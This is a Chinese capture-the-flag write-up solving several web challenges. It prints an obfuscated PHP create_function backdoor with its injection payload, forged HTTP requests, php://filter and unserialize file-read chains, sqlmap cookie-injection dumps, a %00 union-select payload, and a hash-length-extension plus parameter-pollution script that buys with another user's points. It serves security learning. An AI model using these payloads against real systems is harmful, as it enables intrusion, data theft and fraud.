PHP 后门分析 李大猫在他的 WordPress 博客里发现了被黑客植入的 PHP 后门,快帮他分析分析这个后门要怎么利用吧
<?php $z0 = $_REQUEST['sort' ]; $q1 = '' ; $c2 = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2" ; $y3 = array (8 ,38 ,15 ,7 ,6 ,4 ,26 ,25 ,7 ,34 ,24 ,25 ,7 ); foreach ($y3 as $h4){ $q1.=$c2[$h4]; } $v5 = strrev("noi" ."tcnuf" ."_eta" ."erc" ); $j6 = $v5("" ,$q1($z0)); $j6(); ?>
create_function()
与 eval()
有同样的危险性,可以注入恶意代码。
function fT ($a) { echo "test" .$a; } function fT ($a) { echo "test" ;} phpinfo(); create_function(args, code) $j6() => function (args) { code }
此题只需将 }phpinfo();/*
进行 base64 编码,再传进去就 OK 了
抓包和改包 满足以下全部条件就能获得 flag
将 HTTP 请求方式修改为 POST
添加 HTTP 请求头“X-Give-Me-Flag”,值为 1
将包含浏览器标识的 HTTP 请求头的值修改为“Flag Browser 1.0”
将 Cookie 中“auth”的值修改为 117.29.42.247
POST 键名为“action”,值为“readflag”的数据
这题比较简单,直接用 Burp 改一下就 OK 了
POST / HTTP/1.1 Host: http01.web.raccoon.ml:8080 User-Agent: Flag Browser 1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: auth=117.29.42.247 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 X-Give-Me-Flag: 1 Content-Length: 15 Content-Type: application/x-www-form-urlencoded action=readflag
Javascript Tricks nc 45.32.250.222 8082
var net = require ('net' );flag='fake_flag' ; var server = net.createServer( function (socket ) { socket.on('data' , (data) => { ok = true ; arr = data.toString().split(' ' ); arr = arr.map(Number ); if (arr.length != 5 ) ok = false ; arr1 = arr.slice(0 ); arr1.sort(); for (var i=0 ; i<4 ; i++) if (arr1[i+1 ] == arr1[i] || arr[i] < 0 || arr1[i+1 ] > 127 ) ok = false ; arr2 = [] for (var i=0 ; i<4 ; i++) arr2.push(arr1[i] + arr1[i+1 ]); val = 0 ; for (var i=0 ; i<4 ; i++) val = val * 0x100 + arr2[i]; if (val != 0x23332333 ) ok = false ; if (ok) socket.write(flag+'\n' ); else socket.write('nope\n' ); }); } ); HOST = '0.0.0.0' PORT = 8082 server.listen(PORT, HOST);
初步思路:把 data 暴力跑出来,再 nc 提交一下
def check (a,b,c,d) : arr = [a,b,c,d] val = 0 for i in range(4 ): val = val * 256 + arr[i] if val == 590553907 : return True N = 60 for i in range(N): for j in range(N): for k in range(N): for l in range(N): if check(i,j,k,l): print(i,j,k,l) N = 51 for i in range(N): for j in range(N): for k in range(N): for l in range(N): for m in range(N): if i+j == 35 and j+k == 52 and k+l == 35 and l+m == 51 : print(i,j,k,l,m) """ 0 35 17 18 33 1 34 18 17 34 2 33 19 16 35 3 32 20 15 36 4 31 21 14 37 5 30 22 13 38 6 29 23 12 39 7 28 24 11 40 8 27 25 10 41 9 26 26 9 42 10 25 27 8 43 11 24 28 7 44 12 23 29 6 45 13 22 30 5 46 14 21 31 4 47 15 20 32 3 48 16 19 33 2 49 17 18 34 1 50 18 17 35 0 51 """
The user admin $ user = $_GET ["user" ]; $ file = $_GET ["file" ]; $ pass = $_GET ["pass" ]; if(isset($ user)&&(file_get_contents($user ,'r' )==="the user is admin" )){ echo "hello admin!<br>"; include($file); //class.php }else{ echo "you are not admin ! "; }
这道题涉及到PHP的代码审计,PHP的伪协议,PHP的序列化,PHP魔术方法,涨了不少姿势,
趁着写 Writeup 把思路再梳理一下。参考博客1 参考博客2
乍一看,玄机只可能在 class.php 里面,现在就是寻找满足 if 的这个条件。
file_get_contents(path,include_path,context,start,max_length)
问题变为,怎么读取 $user 之后得到 “the user is admin”。
这里涉及到一个 PHP伪协议,php://input
,可读取没有处理过的 POST 数据。详细讲解 大佬讲解
http://120.78.187.100:8081/?user=php://input # 再 post 一个 "the user is admin" # 此时可以发现界面变成了 "hello admin!" http://120.78.187.100:8081/?user=php://input&file=class.php
然后还是没卵用??
还有个文件包含漏洞,再来了一个 PHP伪协议,php://filter
,可用来读取base64编码后的源代码。
?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php
解码之后,得到 class.php 的源代码
<?php class Read { public $file; public function __toString () { if (isset ($this ->file)) { echo file_get_contents($this ->file); } return "__toString was called!" ; } } ?>
看一下 index.php 源代码
<?php $user = $_GET["user" ]; $file = $_GET["file" ]; $pass = $_GET["pass" ]; if (isset ($user)&&(file_get_contents($user,'r' )==="the user is admin" )){ echo "hello admin!<br>" ; if (preg_match("/f1a9/" ,$file)){ exit (); }else { include ($file); $pass = unserialize($pass); echo $pass; } }else { echo "you are not admin ! " ; } ?>
总结一下思路,flag 就隐藏在 f1a9.php
里面,但是无法直接读取 f1a9.php 内容(被preg_match过滤),只能通过Read
这个类中 __tostring() 方法里的 file_get_sontents()
。能作为输入接口的就只有 pass 了,pass 这里又会反序列化再输出,所以利用 echo $pass;
来创建对象就可以了。
创建序列化对象
<?php class Read { public $file; } $a = new Read(); $a->file = "f1a9.php" ; $a = serialize($a); print_r($a); ?>
最终执行
http://120.78.187.100:8081/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} # 再 post 一个 "the user is admin"
Easy waf 随手扫一下后台,得到了一个 www.zip 的源码包,然后就是代码审计了。
第一想法是 username
和 password
可以注入,毕竟过滤函数不会对他们进行处理。
foreach ($_POST as $key => $value) { if ($key != "username"&&strstr($key, "password") == false) { $_POST[$key] = filtering($value); } }
后来发现 uesr_id
可以注入,最终在 login.php
中找到 user_id
的来源,就是数据库中的键。
<h2>历史留言</h2> <?php $user_id=$_SESSION['user_id' ]; $sql = "select * from content where user_id=$user_id" ; $arr = select($sql); ?> $_SESSION['username' ] = $a['username' ]; $_SESSION['user_id' ] = $a['id' ];
GET、POST都被直接过滤了,试试 cookie 注入,手工注入不太会,先跑跑 sqlmap 试试。参考博客
# 1.cookie 注入,猜解表 sqlmap -u http://120.78.187.100:8082/content.php --cookie "message_id=1412" --table --level 2 # do you want to URL encode cookie values (implementation specific)? [Y/n] Y [10:42:28] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: PHP 5.6.38, Apache 2.4.25 back-end DBMS: MySQL >= 5.0.12 Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y # do you want to use common table existence check? [Y/n/q] Y 10 # 表已经跑出来了 Database: 2018_hdb_waf [3 tables] +---------------------------------------+ | user | | content | | flag | +---------------------------------------+ # 2.选择表猜解字段(flag) sqlmap -u http://120.78.187.100:8082/content.php --cookie "message_id=1412" --column -T flag --level 2 Table: flag [1 column] +--------+--------------+ | Column | Type | +--------+--------------+ | flag | varchar(255) | +--------+--------------+ # 3.猜解内容 sqlmap -u http://120.78.187.100:8082/content.php --cookie "message_id=1412" --dump -T flag --level 2 [10:44:45] [INFO] retrieved: 1 [10:44:45] [INFO] retrieved: flag{b4d_eregi_d0_noT_uSe_1t} Database: 2018_hdb_waf Table: flag [1 entry] +-------------------------------+ | flag | +-------------------------------+ | flag{b4d_eregi_d0_xxx_xxx} | +-------------------------------+
黑盾杯有个稍微不一样的版本,不过核心还是 eregi 截断。
<?php include './global.php' ;extract($_REQUEST); $sql = "select * from test.content where id=$message_id" ;
payload
POST /web/waf/content.php HTTP/1.1Host : 192.168.200.200Connection : closeContent-Type : multipart/form-data; boundary=--------2049511993Content-Length : 138----------2049511993 Content-Disposition : form-data; name="message_id""%00" union select 1,2,flag,4 from flag ----------2049511993--
这其实还有个小知识点,已经进入潜意识了,$_REQUEST
数组默认并不包含 COOKIE,只有 GP。
咕咕 shop 听说 咕咕shop 上有个积分上万的人,你能越权消耗他的积分,购买到 FLAG 吗?
HTTP参数污染,简单地讲就是给一个参数赋上两个或两个以上的值。现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理。因此web程序组件在遇到这类问题时采取的方法也不完全相同。在一个HTTP请求中,同一个参数,拥有多个值是合法的。利用此特性,可以作为绕过参数过滤的手段。
假设 URL:http://www.xxxx.com/search.php?id=110&id=911
百度会理解成让百度搜索:110 #选择了第一个参数,放弃了第二个参数。
雅虎会理解成让雅虎搜索:911 #选择了第二个参数,放弃了第一个参数。
谷歌会理解成让谷歌搜索:110 911 #两个参数同时选择。
假设输入 ?key=select & key=1,2,3,4 from table
服务端有可能会将key处理为select 1,2,3,4 from table,从而导致SQL注入。
信息收集:
泄露在源码中的注释是解题和渗透的关键,从此处可得到 signature 的原文组成:solt + confirmation()
<script> $(document ).ready(() => { t = $('input[name=order_create_time]' ) t.data('t' , t.val()) t.val(moment(1000 *t.val()).utcOffset(8 ).format('lll' )) f = $('#confirmation' ) b = f.children().last() if ($('[name=buyer_point]' ).val()-$('[name=good_price]' ).val() < 0 ){ $('[name=good_price]' ).addClass('text-danger' ) b.text('余额不足,请先充值' ) return ; } b.removeAttr('disabled' ) }) $('#submit' ).click(function ( ) { t.val(t.data('t' )) }) </script>
这里还有一个小知识点,form 被 js 中的序列化成字符串,如
(这种 js 可直接通过 F12 中的终端来运行)
关键点:
1.利用哈希长度扩展攻击跑出密钥长度
2.利用 HPP 实现越权“购买”
==shell版==:第一想法是先生成字典,然后放到bp里跑,结果失败了
# !/bin/bash signature="422f15413110908ab58d837ae3b2f28f" data="order_id=156&buyer_id=39&good_id=25&buyer_point=510&good_price=10&order_create_time=1542048947.212575" key_len=900 # yizhimiyao add_data="&a" for ((len=0; i<350; i++,key_len++)) do hashpump -s $signature -d $data -k $key_len -a $add_data done
# !/bin/bash bash _shell > len.txt awk 'NR%2==0' len.txt > post.txt # 输出偶数行 awk 'NR%2==1' len.txt > sign.txt # 输出奇数行
==py版==:还是py给力,以后全用py吧
如果 solt 长度正确时,post 中添加一个无关的值,仍然不会影响购买,由此可得出密钥长度。
import hashpumpyimport urllibimport requestsimport jsonfor i in range(500 ): signature = '579e444c268e0d907802313318cdfcb2' original = 'order_id=160&buyer_id=39&good_id=25&buyer_point=500&good_price=10&order_create_time=1542226400.115264' add_data = '&a=233' key_length = len(original) + 700 + i hash = hashpumpy.hashpump(signature,original,add_data,key_length) url = 'http://118.89.198.146:50006/paymentGatewayV2/cid-1145141919/810893/check.jsp?signature=' message = hash[1 ] print i,hash[0 ] url += hash[0 ] headers = { 'Content-Type' : 'application/x-www-form-urlencoded' , 'cookie' : 'csrftoken=9wFi4GbKQdcis91qJP28DEmZZerQXdqBWt53kHmwUNp1iEFVnEVEVFmYuX5eBKUG; JSESSIONID=buakhmracrlqcyxt726ui8u5jymu0ov4' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' , 'Accept-Language' : ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' , 'Accept-Encoding' : 'gzip, deflate' } res = requests.post(url=url,headers=headers,data=message) if 'alert alert-dange' not in res.content: print key_length; break
得到长度后,就是参数污染了。
直接添加good_id=42
失败了,换了不少姿势。
突然想到题面的信息:有个积分上万的人,你能越权消耗他的积分,购买到 FLAG 吗?
==划重点== 用别人的钱买flag ==划重点==
然后就是换buyer_id
,第一反应是 0、1 ? 不,没用,直接挂个脚本尝试下。31,购买成功!
期间遇到的麻烦:页面找不到。最初以为是自己误删了某个信息,重新复制一下仍然报错。
如果请求成功,但是请求的内容不存在,自然会报错,就比如说利用 buyer_id = 666 来买 flag,也会报错。报错的话就改参数就好。
import hashpumpyimport urllibimport requestssignature = '7d542ad0766a6459e6048ed854091987' original = 'order_id=162&buyer_id=39&good_id=33&buyer_point=480&good_price=300&order_create_time=1542231522.790944' key_length = 1024 headers={ 'Content-Type' : 'application/x-www-form-urlencoded' , 'cookie' : 'csrftoken=9wFi4GbKQdcis91qJP28DEmZZerQXdqBWt53kHmwUNp1iEFVnEVEVFmYuX5eBKUG; JSESSIONID=buakhmracrlqcyxt726ui8u5jymu0ov4' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' , 'Accept-Language' : ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' , 'Accept-Encoding' : 'gzip, deflate' } i = 31 add_data = '&good_id=42&buyer_id=' + str(i) hash = hashpumpy.hashpump(signature,original,add_data,key_length) url = 'http://118.89.198.146:50006/paymentGatewayV2/cid-1145141919/810893/check.jsp?signature=' + hash[0 ] message = hash[1 ] res = requests.post(url=url,headers=headers,data=message) print res.contentif 'alert alert-success' in res.content: print "-------------------------Success!------------------------"
到此,flag 已经买到了。当时候还没反应过来,想着再买一次,去看一下订单,flag 已经出来了。